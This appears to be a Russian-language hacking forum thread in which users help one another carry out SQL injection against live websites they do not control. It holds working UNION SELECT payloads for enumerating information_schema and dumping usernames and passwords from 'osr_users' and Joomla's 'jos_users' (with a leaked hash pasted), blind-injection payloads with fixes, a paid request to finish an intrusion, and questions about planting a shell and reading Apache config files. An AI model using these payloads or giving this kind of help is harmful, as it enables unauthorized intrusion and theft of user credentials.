Понял. Поля Password нету там. А как оно называется я подобрать не смог с кучи вариантов. Если кто-то поможет довести до конца в ближайшее - я денег дам.
фильтрация.. ps есть еще доступ к админке в Coppermine Photo Gallery , на форуме смотрел баги, непрокатило, незнаю вот как туда еще можно шел вбить..
тогда Code: 16+union+select+1,2,3,table_schema,5,6,7,8,9,10,11,12+from+information_schema.tables+where+table_name=0x6f73725f7573657273+limit+0,1 то, что выше, выучить как отче наш, а то, что выведет на экран, надо будет добавить к имени таблице, через точку, т.к. это будет БД, в которой лежит интересующая нас таблица Результаты будут, если у текущего юзера будут соотвествующие права на доступ к интересующей БД, т.е. к примеру на запрос выше выдаст: 1321412354123_forum тогда следующий запрос такой: +union+select+1,2,3,concat(username,0x3b,password) ,5,6,7,8,9,10,11,12+from+1321412354123_forum.osr_users если опять выдаст ошибку, вывода только два: 1. Записей в osr_users просто нет (==0) 2. нет прав доступа Тут можно проверить только пункт 1: +union+select+1,2,3,count(*) ,5,6,7,8,9,10,11,12+from+1321412354123_forum.osr_users если выведется "0" - то дальше думаю объяснять не надо, значит таблица пустая
подскажите в чем проблема: есть php скрипт который выполняет поиск в БД MySQL, содержимое запроса к БД примерно такое: PHP: // так как самого кода скрипта нет, предполагаю, что код выглядит примерно так $col1 = $_POST['col1']; $col2 = $_POST['col2']; mysql_query("SELECT * FROM `table` WHERE col1='".$col1."' AND col2='".$col2."' еще что-то"); вывода переменных нет. я пытаюсь выполнить запрос к БД, что бы тот вернул мне результат true: Code: -1' OR LOCATE(1,(SUBSTRING(SELECT id FROM users WHERE id=1),1,1))# В итоге запрос принимает форуме примерно такую: Code: SELECT * FROM `table` WHERE col1='-1' OR LOCATE(1,(SUBSTRING(SELECT id FROM users WHERE id=1),1,1))#' AND col2='1' еще что-то Если я не ошибаюсь, то результат выполнения LOCATE должен вернуть true, т.к. id=1 Но в результате я получаю: Code: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select id from users where id=1),1,1))#%' AND col2 Почему так?
Aртем: 1. Откуда ты узнал, что таблица users вообще существует? 2. Откуда ты узнал, что колонка id в таблице users вообще существует? 3. SUBSTRING подразумевает в конце всегда = чему-то, а у тебя просто запрос в скобочках. Учи и, главное, понимай синтаксис MySql
Во-первых, можно выполнить запрос Code: -1' UNION SELECT id FROM users# пусть это и Blind SQL, но включен отчет об ошибках, а это обозначает, что включив логику, можно банальным подбором таблиц/колонок выяснить, что есть, чего нет. Не будь таблицы users и колонки id, PHP интерпретатор вежливо объяснил бы мне, что либо колонки, либо таблицы нет. Но тот в свою очередь умело обработал нужный мне запрос и выдал нормальную страницу, без ошибок. Во-вторых SUBSTRING ничего не подразумевает, он просто напросто выводит указанное количество символов из указанной строки начиная с указанного символа по счету. Очень охота все же услышать ответ на мой вопрос.
Aртем Скобок мало, посмотри на ошибку она синтаксическая, у тебя подзапрос без скобок, вот и ошибка Вот так нужно: id=-1+or+LOCATE(1,(SUBSTRING((SELECT+id+FROM+users+WHERE+id=1),1,1))) Последняя фраза в контексте поста просто потрясающая! Паша, не пиши ты тут пожалуйста
jokester, спасибо, совсем не обратил внимание, что забыл подзапрос обрамить скобками. Но возникла очередная проблема, видимо скрипт не хочет обрабатывать логические операторы OR и AND, т.к. после отправки запроса, браузер безнадежно ожидает ответа. А логика запроса по всей видимости не позволяет не использовать логический оператор И и ИЛИ. Как можно обойти их не прибегая к условиям?
Aртем Давай линк и конечную цель. Я не понимаю почему именно такой способ перебора? Если ошибки не отключены, то можно вообще сделать вывод в ошибке если версия базы подходящая, а у тебя больше похоже на изврат, ну или я не понимаю целей. И опять-же с трудом представляю, как могут не работать and и or. Так не бывает, что-то ты не правильно делаешь и скрипт тут не причём.
> Я не понимаю почему именно такой способ перебора? Это скорее всего не способ перебора, а проверка возможных фильтраций и реагирование скрипта на запросы. Можно конечно перебирать основываясь на ошибки, можно даже использовать какой-нибудь специализированный софт или же что-нибудь подобное. Но меня интересует непосредственно ручная работа. И линк к сожалению я дать не могу. Но если кто-нибудь мне сможет дать уже готовых скриптов в которых есть уязвимости подобного характера, для повышения собственного уровня знаний в этом направлении буду благодарен. Потому как с Blind SQL inj встречаюсь довольно редко, точнее старался их избегать, но как показала практика, знания в этой области мне необходимы, т.к. они попросту видимо отсутствуют, и еще был бы признателен на соответствующие статьи по поводу Blind SQL быть может я что-то упустил.
Здравствуйте уважаемые Гуру античата. У меня возникла небольшая проблемка: нашел Sql-inj в джумле, все шикарно, только одно но: union+select+1,2,3,group_concat(password),5+from+jos_users-- выводит пароли вида: fec1d6a80adcaefd7e3823362dd89a00:wJpMRIYmjv7FBWdXnzVnvH0gMziLnCCx С джумлой я что-то уже давно не встречался, может я что-то пропустил относительно того как хранится пароль в последних версиях? Версию джумлы кстати определить не удалось: файлик ___.php-dist или как его там, был честно переименован админом. И если не сложно, если не сложно, дайте ссылку на пост где различные пути к конфигу апача лежат ибо /usr/local/apache/conf/httpd.conf находится в девственной неприкосновенности, а раскрытие путей нигде не нашел больше